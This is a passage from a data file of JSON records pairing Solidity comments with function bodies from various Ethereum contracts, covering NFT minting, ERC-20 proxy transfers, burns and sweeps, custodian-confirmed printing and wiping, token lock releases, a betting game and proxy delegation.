NFTs at a time.');\n require(totalSupply().add(_numberOfTokens) <= MAX_TOTAL_TOKENS, 'Minting would exceed max supply of Tokens');\n uint256 supply = totalSupply();\n uint256 i;\n for (i = 0; i < _numberOfTokens; i++) {\n _safeMint(msg.sender, supply + i);\n }\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Mint any amount of Tokens to another address for free.\n */", "function_code": "function mintTokenAndTransfer(address _to, uint256 _numberOfTokens) public onlyOwner {\n require(_numberOfTokens <= MAX_TOTAL_TOKENS, 'Can not mint more than the total supply.');\n require(totalSupply().add(_numberOfTokens) <= MAX_TOTAL_TOKENS, 'Minting would exceed max supply of Tokens');\n require(address(_to) != address(this), 'Cannot mint to contract itself.');\n require(address(_to) != address(0), 'Cannot mint to a null address.');\n uint256 supply = totalSupply();\n for (uint256 i = 0; i < _numberOfTokens; i++) {\n if (totalSupply() < MAX_TOTAL_TOKENS) {\n _safeMint(_to, supply + i);\n }\n }\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Vending part of the contract, any address can purchase Tokens based on the contract price.\n */", "function_code": "function mintTokens(uint256 _numberOfTokens) public payable {\n require(saleIsActive, 'Sale must be active to mint.');\n require(_numberOfTokens <= MAX_TOKEN_ALLOWANCE, 'Minting allowance is being enforced');\n require(\n totalSupply().add(_numberOfTokens) <= MAX_TOTAL_TOKENS,\n 'Purchase would exceed max supply of contract tokens'\n );\n require(PER_TOKEN_PRICE.mul(_numberOfTokens) <= msg.value, 'Incorrect ETH value sent, not enough');\n\n for (uint256 i = 0; i < _numberOfTokens; i++) {\n uint256 mintIndex = totalSupply();\n if (totalSupply() < MAX_TOTAL_TOKENS) {\n _safeMint(msg.sender, mintIndex);\n }\n }\n\n /*\n If we haven't set the starting index and this is either \n 1) the last saleable token or \n 2) the first token to be sold after\n the end of pre-sale, set the starting index block\n */\n if (startingIndexBlock == 0 && (totalSupply() == MAX_TOTAL_TOKENS || block.timestamp >= REVEAL_TIMESTAMP)) {\n startingIndexBlock = block.number;\n }\n }", "version": "0.7.0"} {"comment": "// Also used to adjust price if already for sale", "function_code": "function listSpriteForSale (uint spriteId, uint price) {\r\n require (price > 0);\r\n if (broughtSprites[spriteId].owner != msg.sender) {\r\n require (broughtSprites[spriteId].timesTraded == 0);\r\n \r\n // This will be the owner of a Crypto Kitty, who can control the price of their unbrought Sprite\r\n address kittyOwner = KittyCore(KittyCoreAddress).ownerOf(spriteId);\r\n require (kittyOwner == msg.sender);\r\n \r\n broughtSprites[spriteId].owner = msg.sender;\r\n broughtSprites[spriteId].spriteImageID = uint(block.blockhash(block.number-1))%360 + 1; \r\n }\r\n broughtSprites[spriteId].forSale = true;\r\n broughtSprites[spriteId].price = price;\r\n }", "version": "0.4.17"} {"comment": "/** @notice Extend the time lock of a pending request.\r\n *\r\n * @dev Requests made by the primary account receive the default time lock.\r\n * This function allows the primary account to apply the extended time lock\r\n * to one its own requests.\r\n *\r\n * @param _requestMsgHash The request message hash of a pending request.\r\n */", "function_code": "function extendRequestTimeLock(bytes32 _requestMsgHash) public onlyPrimary {\r\n Request storage request = requestMap[_requestMsgHash];\r\n\r\n // reject \u2018null\u2019 results from the map lookup\r\n // this can only be the case if an unknown `_requestMsgHash` is received\r\n require(request.callbackAddress != address(0));\r\n\r\n // `extendRequestTimeLock` must be idempotent\r\n require(request.extended != true);\r\n\r\n // set the `extended` flag; note that this is never unset\r\n request.extended = true;\r\n\r\n emit TimeLockExtended(request.timestamp + extendedTimeLock, _requestMsgHash);\r\n }", "version": "0.5.10"} {"comment": "/** @notice Core logic of the `increaseApproval` function.\r\n *\r\n * @dev This function can only be called by the referenced proxy,\r\n * which has an `increaseApproval` function.\r\n * Every argument passed to that function as well as the original\r\n * `msg.sender` gets passed to this function.\r\n * NOTE: approvals for the zero address (unspendable) are disallowed.\r\n *\r\n * @param _sender The address initiating the approval.\r\n */", "function_code": "function increaseApprovalWithSender(\r\n address _sender,\r\n address _spender,\r\n uint256 _addedValue\r\n )\r\n public\r\n onlyProxy\r\n returns (bool success)\r\n {\r\n require(_spender != address(0));\r\n uint256 currentAllowance = erc20Store.allowed(_sender, _spender);\r\n uint256 newAllowance = currentAllowance + _addedValue;\r\n\r\n require(newAllowance >= currentAllowance);\r\n\r\n erc20Store.setAllowance(_sender, _spender, newAllowance);\r\n erc20Proxy.emitApproval(_sender, _spender, newAllowance);\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/** @notice Confirms a pending increase in the token supply.\r\n *\r\n * @dev When called by the custodian with a lock id associated with a\r\n * pending increase, the amount requested to be printed in the print request\r\n * is printed to the receiving address specified in that same request.\r\n * NOTE: this function will not execute any print that would overflow the\r\n * total supply, but it will not revert either.\r\n *\r\n * @param _lockId The identifier of a pending print request.\r\n */", "function_code": "function confirmPrint(bytes32 _lockId) public onlyCustodian {\r\n PendingPrint storage print = pendingPrintMap[_lockId];\r\n\r\n // reject \u2018null\u2019 results from the map lookup\r\n // this can only be the case if an unknown `_lockId` is received\r\n address receiver = print.receiver;\r\n require (receiver != address(0));\r\n uint256 value = print.value;\r\n\r\n delete pendingPrintMap[_lockId];\r\n\r\n uint256 supply = erc20Store.totalSupply();\r\n uint256 newSupply = supply + value;\r\n if (newSupply >= supply) {\r\n erc20Store.setTotalSupply(newSupply);\r\n erc20Store.addBalance(receiver, value);\r\n\r\n emit PrintingConfirmed(_lockId, receiver, value);\r\n erc20Proxy.emitTransfer(address(0), receiver, value);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/** @notice Burns the specified value from the sender's balance.\r\n *\r\n * @dev Sender's balanced is subtracted by the amount they wish to burn.\r\n *\r\n * @param _value The amount to burn.\r\n *\r\n * @return success true if the burn succeeded.\r\n */", "function_code": "function burn(uint256 _value) public returns (bool success) {\r\n require(blocked[msg.sender] != true);\r\n uint256 balanceOfSender = erc20Store.balances(msg.sender);\r\n require(_value <= balanceOfSender);\r\n\r\n erc20Store.setBalance(msg.sender, balanceOfSender - _value);\r\n erc20Store.setTotalSupply(erc20Store.totalSupply() - _value);\r\n\r\n erc20Proxy.emitTransfer(msg.sender, address(0), _value);\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/** @notice Burns the specified value from the balance in question.\r\n *\r\n * @dev Suspected balance is subtracted by the amount which will be burnt.\r\n *\r\n * @dev If suspected balance has less than the amount requested, it will be set to 0.\r\n *\r\n * @param _from The address of suspected balance.\r\n *\r\n * @param _value The amount to burn.\r\n *\r\n * @return success true if the burn succeeded.\r\n */", "function_code": "function burn(address _from, uint256 _value) public onlyCustodian returns (bool success) {\r\n uint256 balance = erc20Store.balances(_from);\r\n if(_value <= balance){\r\n erc20Store.setBalance(_from, balance - _value);\r\n erc20Store.setTotalSupply(erc20Store.totalSupply() - _value);\r\n erc20Proxy.emitTransfer(_from, address(0), _value);\r\n emit Wiped(_from, _value, 0);\r\n }\r\n else {\r\n erc20Store.setBalance(_from,0);\r\n erc20Store.setTotalSupply(erc20Store.totalSupply() - balance);\r\n erc20Proxy.emitTransfer(_from, address(0), balance);\r\n emit Wiped(_from, balance, _value - balance);\r\n }\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/** @notice A function for a sender to issue multiple transfers to multiple\r\n * different addresses at once. This function is implemented for gas\r\n * considerations when someone wishes to transfer, as one transaction is\r\n * cheaper than issuing several distinct individual `transfer` transactions.\r\n *\r\n * @dev By specifying a set of destination addresses and values, the\r\n * sender can issue one transaction to transfer multiple amounts to\r\n * distinct addresses, rather than issuing each as a separate\r\n * transaction. The `_tos` and `_values` arrays must be equal length, and\r\n * an index in one array corresponds to the same index in the other array\r\n * (e.g. `_tos[0]` will receive `_values[0]`, `_tos[1]` will receive\r\n * `_values[1]`, and so on.)\r\n * NOTE: transfers to the zero address are disallowed.\r\n *\r\n * @param _tos The destination addresses to receive the transfers.\r\n * @param _values The values for each destination address.\r\n * @return success If transfers succeeded.\r\n */", "function_code": "function batchTransfer(address[] memory _tos, uint256[] memory _values) public returns (bool success) {\r\n require(_tos.length == _values.length);\r\n require(blocked[msg.sender] != true);\r\n uint256 numTransfers = _tos.length;\r\n uint256 senderBalance = erc20Store.balances(msg.sender);\r\n\r\n for (uint256 i = 0; i < numTransfers; i++) {\r\n address to = _tos[i];\r\n require(to != address(0));\r\n require(blocked[to] != true);\r\n uint256 v = _values[i];\r\n require(senderBalance >= v);\r\n\r\n if (msg.sender != to) {\r\n senderBalance -= v;\r\n erc20Store.addBalance(to, v);\r\n }\r\n erc20Proxy.emitTransfer(msg.sender, to, v);\r\n }\r\n\r\n erc20Store.setBalance(msg.sender, senderBalance);\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/** @notice Enables the delegation of transfer control for many\r\n * accounts to the sweeper account, transferring any balances\r\n * as well to the given destination.\r\n *\r\n * @dev An account delegates transfer control by signing the\r\n * value of `sweepMsg`. The sweeper account is the only authorized\r\n * caller of this function, so it must relay signatures on behalf\r\n * of accounts that delegate transfer control to it. Enabling\r\n * delegation is idempotent and permanent. If the account has a\r\n * balance at the time of enabling delegation, its balance is\r\n * also transfered to the given destination account `_to`.\r\n * NOTE: transfers to the zero address are disallowed.\r\n *\r\n * @param _vs The array of recovery byte components of the ECDSA signatures.\r\n * @param _rs The array of 'R' components of the ECDSA signatures.\r\n * @param _ss The array of 'S' components of the ECDSA signatures.\r\n * @param _to The destination for swept balances.\r\n */", "function_code": "function enableSweep(uint8[] memory _vs, bytes32[] memory _rs, bytes32[] memory _ss, address _to) public onlySweeper {\r\n require(_to != address(0));\r\n require(blocked[_to] != true);\r\n require((_vs.length == _rs.length) && (_vs.length == _ss.length));\r\n\r\n uint256 numSignatures = _vs.length;\r\n uint256 sweptBalance = 0;\r\n\r\n for (uint256 i = 0; i < numSignatures; ++i) {\r\n address from = ecrecover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\",sweepMsg)), _vs[i], _rs[i], _ss[i]);\r\n require(blocked[from] != true);\r\n // ecrecover returns 0 on malformed input\r\n if (from != address(0)) {\r\n sweptSet[from] = true;\r\n\r\n uint256 fromBalance = erc20Store.balances(from);\r\n\r\n if (fromBalance > 0) {\r\n sweptBalance += fromBalance;\r\n\r\n erc20Store.setBalance(from, 0);\r\n\r\n erc20Proxy.emitTransfer(from, _to, fromBalance);\r\n }\r\n }\r\n }\r\n\r\n if (sweptBalance > 0) {\r\n erc20Store.addBalance(_to, sweptBalance);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/** @notice For accounts that have delegated, transfer control\r\n * to the sweeper, this function transfers their balances to the given\r\n * destination.\r\n *\r\n * @dev The sweeper account is the only authorized caller of\r\n * this function. This function accepts an array of addresses to have their\r\n * balances transferred for gas efficiency purposes.\r\n * NOTE: any address for an account that has not been previously enabled\r\n * will be ignored.\r\n * NOTE: transfers to the zero address are disallowed.\r\n *\r\n * @param _froms The addresses to have their balances swept.\r\n * @param _to The destination address of all these transfers.\r\n */", "function_code": "function replaySweep(address[] memory _froms, address _to) public onlySweeper {\r\n require(_to != address(0));\r\n require(blocked[_to] != true);\r\n uint256 lenFroms = _froms.length;\r\n uint256 sweptBalance = 0;\r\n\r\n for (uint256 i = 0; i < lenFroms; ++i) {\r\n address from = _froms[i];\r\n require(blocked[from] != true);\r\n if (sweptSet[from]) {\r\n uint256 fromBalance = erc20Store.balances(from);\r\n\r\n if (fromBalance > 0) {\r\n sweptBalance += fromBalance;\r\n\r\n erc20Store.setBalance(from, 0);\r\n\r\n erc20Proxy.emitTransfer(from, _to, fromBalance);\r\n }\r\n }\r\n }\r\n\r\n if (sweptBalance > 0) {\r\n erc20Store.addBalance(_to, sweptBalance);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/** @notice Core logic of the ERC20 `transferFrom` function.\r\n *\r\n * @dev This function can only be called by the referenced proxy,\r\n * which has a `transferFrom` function.\r\n * Every argument passed to that function as well as the original\r\n * `msg.sender` gets passed to this function.\r\n * NOTE: transfers to the zero address are disallowed.\r\n *\r\n * @param _sender The address initiating the transfer in proxy.\r\n */", "function_code": "function transferFromWithSender(\r\n address _sender,\r\n address _from,\r\n address _to,\r\n uint256 _value\r\n )\r\n public\r\n onlyProxy\r\n returns (bool success)\r\n {\r\n require(_to != address(0));\r\n\r\n uint256 balanceOfFrom = erc20Store.balances(_from);\r\n require(_value <= balanceOfFrom);\r\n\r\n uint256 senderAllowance = erc20Store.allowed(_from, _sender);\r\n require(_value <= senderAllowance);\r\n\r\n erc20Store.setBalance(_from, balanceOfFrom - _value);\r\n erc20Store.addBalance(_to, _value);\r\n\r\n erc20Store.setAllowance(_from, _sender, senderAllowance - _value);\r\n\r\n erc20Proxy.emitTransfer(_from, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev function to check whether passed address is a contract address\r\n */", "function_code": "function isContract(address _address) private view returns (bool is_contract) {\r\n uint256 length;\r\n assembly {\r\n //retrieve the size of the code on target address, this needs assembly\r\n length := extcodesize(_address)\r\n }\r\n return (length > 0);\r\n }", "version": "0.4.24"} {"comment": "// Transfer token to compnay ", "function_code": "function companyTokensRelease(address _company) external onlyOwner returns(bool) {\r\n require(_company != address(0), \"Address is not valid\");\r\n require(!ownerRelease, \"owner release has already done\");\r\n if (now > contractDeployed.add(365 days) && releasedForOwner == false ) { \r\n balances[_company] = balances[_company].add(_lockedTokens);\r\n \r\n releasedForOwner = true;\r\n ownerRelease = true;\r\n emit CompanyTokenReleased(_company, _lockedTokens);\r\n _lockedTokens = 0;\r\n return true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/** @notice Requests wipe of suspected accounts.\r\n *\r\n * @dev Returns a unique lock id associated with the request.\r\n * Only linitedPrinter can call this function, and confirming the request is authorized\r\n * by the custodian.\r\n *\r\n * @param _from The array of suspected accounts.\r\n *\r\n * @param _value array of amounts by which suspected accounts will be wiped.\r\n *\r\n * @return lockId A unique identifier for this request.\r\n */", "function_code": "function requestWipe(address[] memory _from, uint256[] memory _value) public onlyLimitedPrinter returns (bytes32 lockId) {\r\n lockId = generateLockId();\r\n uint256 amount = _from.length;\r\n\r\n for(uint256 i = 0; i < amount; i++) {\r\n address from = _from[i];\r\n uint256 value = _value[i];\r\n pendingWipeMap[lockId].push(wipeAddress(value, from));\r\n }\r\n\r\n emit WipeRequested(lockId);\r\n\r\n return lockId;\r\n }", "version": "0.5.10"} {"comment": "/** @notice Confirms a pending wipe of suspected accounts.\r\n *\r\n * @dev When called by the custodian with a lock id associated with a\r\n * pending wipe, the amount requested is burned from the suspected accounts.\r\n *\r\n * @param _lockId The identifier of a pending wipe request.\r\n */", "function_code": "function confirmWipe(bytes32 _lockId) public onlyCustodian {\r\n uint256 amount = pendingWipeMap[_lockId].length;\r\n for(uint256 i = 0; i < amount; i++) {\r\n wipeAddress memory addr = pendingWipeMap[_lockId][i];\r\n address from = addr.from;\r\n uint256 value = addr.value;\r\n erc20Impl.burn(from, value);\r\n }\r\n\r\n delete pendingWipeMap[_lockId];\r\n\r\n emit WipeCompleted(_lockId);\r\n }", "version": "0.5.10"} {"comment": "/** @notice Requests transfer from suspected account.\r\n *\r\n * @dev Returns a unique lock id associated with the request.\r\n * Only linitedPrinter can call this function, and confirming the request is authorized\r\n * by the custodian.\r\n *\r\n * @param _from address of suspected accounts.\r\n *\r\n * @param _to address of reciever.\r\n *\r\n * @param _value amount which will be transfered.\r\n *\r\n * @return lockId A unique identifier for this request.\r\n */", "function_code": "function requestTransfer(address _from, address _to, uint256 _value) public onlyLimitedPrinter returns (bytes32 lockId) {\r\n lockId = generateLockId();\r\n require (_value != 0);\r\n pendingTransferMap[lockId] = transfer(_value, _from, _to);\r\n\r\n emit TransferRequested(lockId, _from, _to, _value);\r\n\r\n return lockId;\r\n }", "version": "0.5.10"} {"comment": "/** @notice Confirms a pending increase in the token supply.\r\n *\r\n * @dev When called by the custodian with a lock id associated with a\r\n * pending ceiling increase, the amount requested is added to the\r\n * current supply ceiling.\r\n * NOTE: this function will not execute any raise that would overflow the\r\n * supply ceiling, but it will not revert either.\r\n *\r\n * @param _lockId The identifier of a pending ceiling raise request.\r\n */", "function_code": "function confirmCeilingRaise(bytes32 _lockId) public onlyCustodian {\r\n PendingCeilingRaise storage pendingRaise = pendingRaiseMap[_lockId];\r\n\r\n // copy locals of references to struct members\r\n uint256 raiseBy = pendingRaise.raiseBy;\r\n // accounts for a gibberish _lockId\r\n require(raiseBy != 0);\r\n\r\n delete pendingRaiseMap[_lockId];\r\n\r\n uint256 newCeiling = totalSupplyCeiling + raiseBy;\r\n // overflow check\r\n if (newCeiling >= totalSupplyCeiling) {\r\n totalSupplyCeiling = newCeiling;\r\n\r\n emit CeilingRaiseConfirmed(_lockId, raiseBy, newCeiling);\r\n }\r\n }", "version": "0.5.10"} {"comment": "// Transfer token to team ", "function_code": "function transferToTeam(address _team) external onlyOwner returns(bool) {\r\n require(_team != address(0), \"Address is not valid\");\r\n require(!teamRelease, \"Team release has already done\");\r\n if (now > contractDeployed.add(365 days) && team_1_release == false) {\r\n balances[_team] = balances[_team].add(_teamLockedTokens);\r\n \r\n team_1_release = true;\r\n teamRelease = true;\r\n emit TransferTokenToTeam(_team, _teamLockedTokens);\r\n _teamLockedTokens = 0;\r\n return true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Function to Release Bounty and Bonus token to Bounty address after Locking period is over\r\n * @param _bounty The address of the Bounty\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function transferToBounty(address _bounty) external onlyOwner returns(bool) {\r\n require(_bounty != address(0), \"Address is not valid\");\r\n require(!bountyrelase, \"Bounty release already done\");\r\n if (now > contractDeployed.add(180 days) && bounty_1_release == false) {\r\n balances[_bounty] = balances[_bounty].add(_bountyLockedTokens);\r\n bounty_1_release = true;\r\n bountyrelase = true;\r\n emit TransferTokenToBounty(_bounty, _bountyLockedTokens);\r\n _bountyLockedTokens = 0;\r\n return true;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Get the current price of a supported cToken underlying\r\n * @param cToken The address of the market (token)\r\n * @return USD price mantissa or failure for unsupported markets\r\n */", "function_code": "function getUnderlyingPrice(address cToken) public view returns (uint256) {\r\n string memory cTokenSymbol = CTokenInterface(cToken).symbol();\r\n if (compareStrings(cTokenSymbol, \"sETH\")) {\r\n return getETHUSDCPrice();\r\n } else if (compareStrings(cTokenSymbol, \"sUSDC\")) {\r\n return\r\n getETHUSDCPrice().mul(getUSDCETHPrice()).div(\r\n 10**mantissaDecimals\r\n );\r\n } else if (compareStrings(cTokenSymbol, \"sSUKU\")) {\r\n return SUKUPrice;\r\n } else {\r\n revert(\"This is not a supported market address.\");\r\n }\r\n }", "version": "0.6.6"} {"comment": "//Init Parameter.", "function_code": "function initialParameter(\r\n // address _manager,\r\n address _secretSigner,\r\n address _erc20tokenAddress ,\r\n address _refunder,\r\n \r\n uint _MIN_BET,\r\n uint _MAX_BET,\r\n uint _maxProfit, \r\n uint _MAX_AMOUNT, \r\n \r\n uint8 _platformFeePercentage,\r\n uint8 _jackpotFeePercentage,\r\n uint8 _ERC20rewardMultiple,\r\n uint8 _currencyType,\r\n \r\n address[] _signerList,\r\n uint32[] _withdrawalMode)public onlyOwner{\r\n \r\n secretSigner = _secretSigner;\r\n ERC20ContractAddres = _erc20tokenAddress;\r\n refunder = _refunder; \r\n \r\n MIN_BET = _MIN_BET;\r\n MAX_BET = _MAX_BET;\r\n maxProfit = _maxProfit; \r\n MAX_AMOUNT = _MAX_AMOUNT;\r\n \r\n platformFeePercentage = _platformFeePercentage;\r\n jackpotFeePercentage = _jackpotFeePercentage;\r\n ERC20rewardMultiple = _ERC20rewardMultiple;\r\n currencyType = _currencyType;\r\n \r\n createSignerList(_signerList);\r\n createWithdrawalMode(_withdrawalMode); \r\n }", "version": "0.4.24"} {"comment": "// Funds withdrawal.", "function_code": "function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {\r\n require (withdrawAmount <= address(this).balance && withdrawAmount > 0);\r\n\r\n uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount);\r\n safetyAmount = safetyAmount.add(withdrawAmount);\r\n\r\n require (safetyAmount <= address(this).balance);\r\n sendFunds(beneficiary, withdrawAmount );\r\n }", "version": "0.4.24"} {"comment": "//Bet by ether: Commits are signed with a block limit to ensure that they are used at most once.", "function_code": "function placeBet(uint8 _rotateTime , uint8 _machineMode , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s ) external payable {\r\n \r\n // Check that the bet is in 'clean' state.\r\n Bet storage bet = bets[_commit];\r\n require (bet.gambler == address(0));\r\n \r\n //Check SecretSigner.\r\n bytes32 signatureHash = keccak256(abi.encodePacked(_commitLastBlock, _commit));\r\n require (secretSigner == ecrecover(signatureHash, 27, r, s));\r\n \r\n //Check rotateTime ,machineMode and commitLastBlock.\r\n require (_rotateTime > 0 && _rotateTime <= 20); \r\n \r\n //_machineMode: 1~15\r\n require (_machineMode > 0 && _machineMode <= MAX_MODULO);\r\n \r\n require (block.number < _commitLastBlock );\r\n \r\n lockedInBets = lockedInBets.add( getPossibleWinPrize(withdrawalMode[_machineMode],msg.value) );\r\n \r\n //Check the highest profit\r\n require (getPossibleWinPrize(withdrawalMode[_machineMode],msg.value) <= maxProfit && getPossibleWinPrize(withdrawalMode[_machineMode],msg.value) > 0);\r\n require (lockedInBets.add(jackpotSize) <= address(this).balance);\r\n \r\n //Amount should be within range\r\n require (msg.value >= MIN_BET && msg.value <= MAX_BET);\r\n \r\n emit PlaceBetLog(msg.sender, msg.value,_rotateTime,_commit);\r\n \r\n // Store bet parameters on blockchain.\r\n bet.amount = msg.value;\r\n bet.placeBlockNumber = uint40(block.number);\r\n bet.gambler = msg.sender; \r\n bet.machineMode = uint8(_machineMode); \r\n bet.rotateTime = uint8(_rotateTime); \r\n }", "version": "0.4.24"} {"comment": "//Get deductedBalance", "function_code": "function getPossibleWinAmount(uint bonusPercentage,uint senderValue)public view returns (uint platformFee,uint jackpotFee,uint possibleWinAmount) {\r\n\r\n //Platform Fee\r\n uint prePlatformFee = (senderValue).mul(platformFeePercentage);\r\n platformFee = (prePlatformFee).div(1000);\r\n\r\n //Get jackpotFee\r\n uint preJackpotFee = (senderValue).mul(jackpotFeePercentage);\r\n jackpotFee = (preJackpotFee).div(1000);\r\n\r\n //Win Amount\r\n uint preUserGetAmount = senderValue.mul(bonusPercentage);\r\n possibleWinAmount = preUserGetAmount.div(10000);\r\n }", "version": "0.4.24"} {"comment": "// Refund transaction", "function_code": "function refundBet(uint commit) external onlyRefunder{\r\n // Check that bet is in 'active' state.\r\n Bet storage bet = bets[commit];\r\n uint amount = bet.amount; \r\n uint8 machineMode = bet.machineMode; \r\n \r\n require (amount != 0, \"Bet should be in an 'active' state\");\r\n\r\n // Check that bet has already expired.\r\n require (block.number > bet.placeBlockNumber.add(BetExpirationBlocks));\r\n \r\n //Amount unlock\r\n lockedInBets = lockedInBets.sub(getPossibleWinPrize(withdrawalMode[machineMode],bet.amount));\r\n \r\n //Refund\r\n emit RefundLog(bet.gambler,commit, amount); \r\n sendFunds(bet.gambler, amount );\r\n \r\n // Move bet into 'processed' state, release funds.\r\n bet.amount = 0;\r\n }", "version": "0.4.24"} {"comment": "// Helper routine to move 'processed' bets into 'clean' state.", "function_code": "function clearProcessedBet(uint commit) private {\r\n Bet storage bet = bets[commit];\r\n\r\n // Do not overwrite active bets with zeros\r\n if (bet.amount != 0 || block.number <= bet.placeBlockNumber + BetExpirationBlocks) {\r\n return;\r\n }\r\n\r\n // Zero out the remaining storage\r\n bet.placeBlockNumber = 0;\r\n bet.gambler = address(0);\r\n bet.machineMode = 0;\r\n bet.rotateTime = 0; \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation\r\n * @dev Admin function for new implementation to accept it's role as implementation\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */", "function_code": "function _acceptImplementation() public returns (uint) {\r\n // Check caller is pendingImplementation and pendingImplementation \u2260 address(0)\r\n if (msg.sender != pendingWanFarmImplementation || pendingWanFarmImplementation == address(0)) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);\r\n }\r\n\r\n // Save current values for inclusion in log\r\n address oldImplementation = wanFarmImplementation;\r\n address oldPendingImplementation = pendingWanFarmImplementation;\r\n\r\n wanFarmImplementation = pendingWanFarmImplementation;\r\n\r\n pendingWanFarmImplementation = address(0);\r\n\r\n emit NewImplementation(oldImplementation, wanFarmImplementation);\r\n emit NewPendingImplementation(oldPendingImplementation, pendingWanFarmImplementation);\r\n\r\n return uint(Error.NO_ERROR);\r\n }", "version": "0.5.16"} {"comment": "// Suport the Peeny ICO! Thank you for your support of the Dick Chainy foundation.\n// If you've altready contributed, you can't contribute again until your coins have\n// been distributed.", "function_code": "function contribute() public payable {\r\n require(icoOpen, \"The Peeny ICO has now ended.\");\r\n require(msg.value >= minimumContributionWei, \"Minimum contribution must be at least getMinimumContribution(). \");\r\n Funder storage funder = contributions[address(msg.sender)];\r\n require(funder.numberOfCoins == 0 && funder.donation == 0, \"You have already contributed a donation and will be receiving your Peeny shortly. Please wait until you receive your Peeny before making another contribution. Thanks for supporting the Dick Chainy Foundation!\");\r\n funder.donation = msg.value;\r\n contributionsReceived += funder.donation;\r\n funder.numberOfCoins = donationInWeiToPeeny(msg.value);\r\n\r\n contributors.push(msg.sender);\r\n \r\n peenyReserved += funder.numberOfCoins;\r\n numberOfContributions++;\r\n }", "version": "0.8.7"} {"comment": "// If someone is generous and wants to add to pool", "function_code": "function addToPool() public payable {\r\n \trequire(msg.value > 0);\r\n \tuint _lotteryPool = msg.value;\r\n\r\n \t// weekly and daily pool\r\n uint weeklyPoolFee = _lotteryPool.div(5);\r\n uint dailyPoolFee = _lotteryPool.sub(weeklyPoolFee);\r\n\r\n weeklyPool = weeklyPool.add(weeklyPoolFee);\r\n dailyPool = dailyPool.add(dailyPoolFee);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Delegates execution to an implementation contract.\r\n * It returns to the external caller whatever the implementation returns\r\n * or forwards reverts.\r\n */", "function_code": "function () payable external {\r\n // delegate all other functions to current implementation\r\n (bool success, ) = wanFarmImplementation.delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize)\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize) }\r\n default { return(free_mem_ptr, returndatasize) }\r\n }\r\n }", "version": "0.5.16"} {"comment": "/**\r\n \t * @dev Initializes the data structure. This method is exposed publicly.\r\n \t * @param _stakesToken The ERC-20 token address to be used as stakes\r\n \t * token (GRO).\r\n \t * @param _sharesToken The ERC-20 token address to be used as shares\r\n \t * token (gToken).\r\n \t */", "function_code": "function init(Self storage _self, address _stakesToken, address _sharesToken) public\r\n\t{\r\n\t\t_self.stakesToken = _stakesToken;\r\n\t\t_self.sharesToken = _sharesToken;\r\n\r\n\t\t_self.state = State.Created;\r\n\t\t_self.liquidityPool = address(0);\r\n\r\n\t\t_self.burningRate = DEFAULT_BURNING_RATE;\r\n\t\t_self.lastBurningTime = 0;\r\n\r\n\t\t_self.migrationRecipient = address(0);\r\n\t\t_self.migrationUnlockTime = uint256(-1);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t * @dev Burns a portion of the liquidity pool according to the defined\r\n \t * burning rate. It must happen at most once every 7-days. This\r\n \t * method does not actually burn the funds, but it will redeem\r\n \t * the amounts from the pool to the caller contract, which is then\r\n \t * assumed to perform the burn. This method is exposed publicly.\r\n \t * @return _stakesAmount The amount of stakes (GRO) redeemed from the pool.\r\n \t * @return _sharesAmount The amount of shares (gToken) redeemed from the pool.\r\n \t */", "function_code": "function burnPoolPortion(Self storage _self) public returns (uint256 _stakesAmount, uint256 _sharesAmount)\r\n\t{\r\n\t\trequire(_self._hasPool(), \"pool not available\");\r\n\t\trequire(now >= _self.lastBurningTime + BURNING_INTERVAL, \"must wait lock interval\");\r\n\t\t_self.lastBurningTime = now;\r\n\t\treturn G.exitPool(_self.liquidityPool, _self.burningRate);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t * @dev Completes the liquidity pool migration by redeeming all funds\r\n \t * from the pool. This method does not actually transfer the\r\n \t * redemeed funds to the recipient, it assumes the caller contract\r\n \t * will perform that. This method is exposed publicly.\r\n \t * @return _migrationRecipient The address of the recipient.\r\n \t * @return _stakesAmount The amount of stakes (GRO) redeemed from the pool.\r\n \t * @return _sharesAmount The amount of shares (gToken) redeemed from the pool.\r\n \t */", "function_code": "function completePoolMigration(Self storage _self) public returns (address _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount)\r\n\t{\r\n\t\trequire(_self.state == State.Migrating, \"migration not initiated\");\r\n\t\trequire(now >= _self.migrationUnlockTime, \"must wait lock interval\");\r\n\t\t_migrationRecipient = _self.migrationRecipient;\r\n\t\t_self.state = State.Migrated;\r\n\t\t_self.migrationRecipient = address(0);\r\n\t\t_self.migrationUnlockTime = uint256(-1);\r\n\t\t(_stakesAmount, _sharesAmount) = G.exitPool(_self.liquidityPool, 1e18);\r\n\t\treturn (_migrationRecipient, _stakesAmount, _sharesAmount);\r\n\t}", "version": "0.6.12"} {"comment": "/**\n * @dev Receives and executes a batch of function calls on this contract.\n */", "function_code": "function multicall(bytes[] calldata data) external returns (bytes[] memory results) {\n results = new bytes[](data.length);\n for (uint256 i = 0; i < data.length; i++) {\n results[i] = Address.functionDelegateCall(address(this), data[i]);\n }\n return results;\n }", "version": "0.8.6"} {"comment": 